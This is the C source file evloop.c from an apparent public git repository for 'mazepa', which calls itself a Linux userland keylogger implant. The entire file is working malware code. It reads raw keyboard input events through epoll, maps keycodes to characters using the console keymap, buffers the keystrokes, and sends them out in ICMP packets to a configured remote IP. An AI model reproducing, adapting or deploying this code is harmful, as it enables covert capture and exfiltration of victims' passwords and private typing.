mazepa.git


mazepa

~ linux userland keylogger
git clone https://github.com/djnnvx/mazepa.git
log | files | refs | archive | README

evloop.c (5750B)

      1 #include "implant.h"
      2 
      3 #include <fcntl.h>
      4 #include <linux/input.h>
      5 #include <linux/kd.h>
      6 #include <linux/keyboard.h>
      7 #include <string.h>
      8 #include <sys/epoll.h>
      9 #include <sys/ioctl.h>
     10 
     11 #define MAX_EVENTS 16
     12 #define KEYMAP_SIZE 256
     13 
     14 typedef struct {
     15     char normal[KEYMAP_SIZE];
     16     char shifted[KEYMAP_SIZE];
     17 } keymap_cache_t;
     18 
     19 static int
     20 open_console(void) {
     21     const char *consoles[] = {"/dev/tty0", "/dev/console", "/dev/tty", NULL};
     22 
     23     for (int i = 0; consoles[i] != NULL; i++) {
     24         int fd = open(consoles[i], O_RDONLY | O_NOCTTY);
     25         if (fd >= 0) {
     26 #ifdef DEBUG
     27             DEBUG_LOG("[+] Console opened: %s (fd=%d)\n", consoles[i], fd);
     28 #endif
     29             return fd;
     30         }
     31     }
     32 #ifdef DEBUG
     33     DEBUG_LOG("[!] Failed to open any console device\n");
     34 #endif
     35     return -1;
     36 }
     37 
     38 static void
     39 cache_keymap(int console_fd, keymap_cache_t *cache) {
     40     struct kbentry entry = {0};
     41 #ifdef DEBUG
     42     int mapped_keys = 0;
     43 #endif
     44 
     45     memset(cache, 0, sizeof(*cache));
     46 
     47     cache->normal[KEY_ENTER] = '\n';
     48     cache->normal[KEY_KPENTER] = '\n';
     49     cache->normal[KEY_TAB] = '\t';
     50     cache->normal[KEY_SPACE] = ' ';
     51     cache->shifted[KEY_ENTER] = '\n';
     52     cache->shifted[KEY_KPENTER] = '\n';
     53     cache->shifted[KEY_TAB] = '\t';
     54     cache->shifted[KEY_SPACE] = ' ';
     55 
     56     for (int code = 0; code < KEYMAP_SIZE; code++) {
     57         if (cache->normal[code] != 0)
     58             continue;
     59 
     60         entry.kb_table = K_NORMTAB;
     61         entry.kb_index = (unsigned char)code;
     62         if (ioctl(console_fd, KDGKBENT, &entry) == 0) {
     63             unsigned char type = KTYP(entry.kb_value);
     64             if (type == KT_LETTER || type == KT_LATIN) {
     65                 cache->normal[code] = (char)KVAL(entry.kb_value);
     66 #ifdef DEBUG
     67                 mapped_keys++;
     68 #endif
     69             }
     70         }
     71 
     72         entry.kb_table = K_SHIFTTAB;
     73         entry.kb_index = (unsigned char)code;
     74         if (ioctl(console_fd, KDGKBENT, &entry) == 0) {
     75             unsigned char type = KTYP(entry.kb_value);
     76             if (type == KT_LETTER || type == KT_LATIN)
     77                 cache->shifted[code] = (char)KVAL(entry.kb_value);
     78         }
     79     }
     80 
     81 #ifdef DEBUG
     82     DEBUG_LOG("[*] Keymap cached: %d keys mapped\n", mapped_keys);
     83     DEBUG_LOG("[*] Sample mappings: Q=%c W=%c E=%c R=%c T=%c Y=%c\n",
     84               cache->normal[KEY_Q] ? cache->normal[KEY_Q] : '?',
     85               cache->normal[KEY_W] ? cache->normal[KEY_W] : '?',
     86               cache->normal[KEY_E] ? cache->normal[KEY_E] : '?',
     87               cache->normal[KEY_R] ? cache->normal[KEY_R] : '?',
     88               cache->normal[KEY_T] ? cache->normal[KEY_T] : '?',
     89               cache->normal[KEY_Y] ? cache->normal[KEY_Y] : '?');
     90 #endif
     91 }
     92 
     93 static char
     94 keycode_to_char(keymap_cache_t *cache, uint16_t code, int shift_held) {
     95     if (code >= KEYMAP_SIZE)
     96         return 0;
     97 
     98     return shift_held ? cache->shifted[code] : cache->normal[code];
     99 }
    100 
    101 static void
    102 flush_buffer(ringbuf_t *rb, const int8_t *dst_ip) {
    103     uint8_t payload[ICMP_DATA_SIZE] = {0};
    104     size_t bytes_read;
    105 
    106     bytes_read = ringbuf_read(rb, payload, ICMP_DATA_SIZE);
    107     if (bytes_read > 0) {
    108 #ifdef DEBUG
    109         DEBUG_LOG("[>] Sending %zu bytes to %s: \"%.*s\"\n", bytes_read, dst_ip, (int)bytes_read, payload);
    110 #endif
    111         icmp_send(dst_ip, payload, bytes_read);
    112     }
    113 }
    114 
    115 static void
    116 handle_key_event(keymap_cache_t *cache, struct input_event *ev, ringbuf_t *rb, int *shift_held) {
    117     char ch;
    118 
    119     if (ev->type != EV_KEY)
    120         return;
    121 
    122     if (ev->code == KEY_LEFTSHIFT || ev->code == KEY_RIGHTSHIFT) {
    123         *shift_held = (ev->value != KEY_RELEASED);
    124         return;
    125     }
    126 
    127     if (ev->value != KEY_PRESSED)
    128         return;
    129 
    130     ch = keycode_to_char(cache, ev->code, *shift_held);
    131     if (ch != 0)
    132         ringbuf_push(rb, (uint8_t)ch);
    133 }
    134 
    135 static int
    136 setup_epoll(implant_t *instance) {
    137     keyboard_t *kbd;
    138     struct epoll_event ev;
    139     int epfd;
    140 
    141     epfd = epoll_create1(0);
    142     if (epfd < 0)
    143         return -1;
    144 
    145     TAILQ_FOREACH(kbd, &instance->kbd, devices) {
    146         ev.events = EPOLLIN;
    147         ev.data.fd = kbd->fd;
    148         if (epoll_ctl(epfd, EPOLL_CTL_ADD, kbd->fd, &ev) < 0) {
    149 #ifdef DEBUG
    150             DEBUG_LOG("epoll_ctl failed for fd %d\n", kbd->fd);
    151 #endif
    152             continue;
    153         }
    154     }
    155 
    156     return epfd;
    157 }
    158 
    159 uint8_t
    160 evloop_run(implant_t *instance) {
    161     struct epoll_event events[MAX_EVENTS];
    162     struct input_event ev;
    163     keymap_cache_t keymap = {0};
    164     ringbuf_t ringbuf = {0};
    165     int console_fd;
    166     int epfd;
    167     int shift_held = 0;
    168     int nfds;
    169 
    170     if (!instance)
    171         return ERROR;
    172 
    173     console_fd = open_console();
    174     if (console_fd < 0) {
    175 #ifdef DEBUG
    176         DEBUG_LOG("evloop: could not open console\n");
    177 #endif
    178         return ERROR;
    179     }
    180 
    181     cache_keymap(console_fd, &keymap);
    182     close(console_fd);
    183 
    184     ringbuf_init(&ringbuf);
    185 
    186     epfd = setup_epoll(instance);
    187     if (epfd < 0) {
    188 #ifdef DEBUG
    189         DEBUG_LOG("evloop: epoll_create1 failed\n");
    190 #endif
    191         return ERROR;
    192     }
    193 
    194     for (;;) {
    195         nfds = epoll_wait(epfd, events, MAX_EVENTS, -1);
    196         if (nfds < 0) {
    197 #ifdef DEBUG
    198             DEBUG_LOG("evloop: epoll_wait failed\n");
    199 #endif
    200             continue;
    201         }
    202 
    203         for (int i = 0; i < nfds; i++) {
    204             ssize_t bytes = read(events[i].data.fd, &ev, sizeof(ev));
    205             if (bytes != sizeof(ev))
    206                 continue;
    207 
    208             handle_key_event(&keymap, &ev, &ringbuf, &shift_held);
    209 
    210 #ifdef DEBUG
    211             DEBUG_LOG("[*] Buffer: count=%zu, head=%zu, tail=%zu, data=\"%.*s\"\n",
    212                       ringbuf.count, ringbuf.head, ringbuf.tail,
    213                       (int)ringbuf.count, ringbuf.data + ringbuf.tail);
    214 #endif
    215 
    216             if (ringbuf_should_flush(&ringbuf))
    217                 flush_buffer(&ringbuf, instance->ip);
    218         }
    219     }
    220 }